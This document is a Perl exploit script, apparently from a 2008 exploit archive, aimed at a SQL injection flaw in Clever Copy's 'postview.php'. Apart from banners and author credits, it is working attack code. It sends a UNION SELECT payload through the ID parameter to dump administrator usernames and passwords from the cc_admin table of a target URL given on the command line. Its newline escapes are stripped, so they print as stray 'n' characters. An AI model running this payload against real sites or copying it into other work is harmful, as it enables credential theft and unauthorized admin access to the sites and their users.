#!/usr/bin/perl  
# Clever Copy 'postview.php' SQL Injection Vulnerable Exploit Coded
# By U238 | Web - Designer Solutions Developer
# Thank you joss
# My Friends : ka0x - Marco Almeida - The_BekiR - fahn - Teyfik Cevik - Nettoxic - Caborz
# http://noexec.blogspot.com


print "nn0x0x0x0x0x0x0x0xx0x0x0x0x0x0x0x0x0x0x0x00x0x0x0x0x0x0x0xx0xnn"; 
print "nn# Clever Copy 'postview.php' SQL Injection Vulnerability #nn"; 
print "nn# This Bug Discovered By U28 in Exploit Completed #nn"; 
print "nn0x0x0x0x0x0x0x0xx0x0x0x0x0x0x0x0x0x0x0x00x0x0x0x0x0x0x0xx0xnn"; 

use strict;   
use LWP::UserAgent; 

my $victim = $ARGV[0]; 

 if(!$ARGV[0]) { 
    print "n[x] Exploit Optionsn"; 
    print "[x] U238 : setuid.noexec0x1[-]hotmail[+]comn"; 
    print "[x] usage: perl examp.pl (domain)n"; 
    print "[x] examp: http://target/path/nn"; 
    print "[x] Referance:http://www.securityfocus.com/bid/28437/infonn"; 
    exit(1); 
 }  
  sleep(3);
  sleep(1);
    print "n[+] Baglanildi $victim...n"; 
    my $cnx = LWP::UserAgent->new() or die; 
    my $go=$cnx->get($victim."/postview.php?ID='+union+select+username,concat(0x706173737764,char(58),password,0x2D2D2D,0x757365726E616D653ADA,username),1,5,username,username,6,username,username,9,username+from+cc_admin/*"); 
    if ($go->content =~ m/____(.*?)____/ms) { 
        print "$1n"; 
    } else { 
        print "n[-] exploit calismadin"; 
    }

# www.Syue.com [2008-04-26]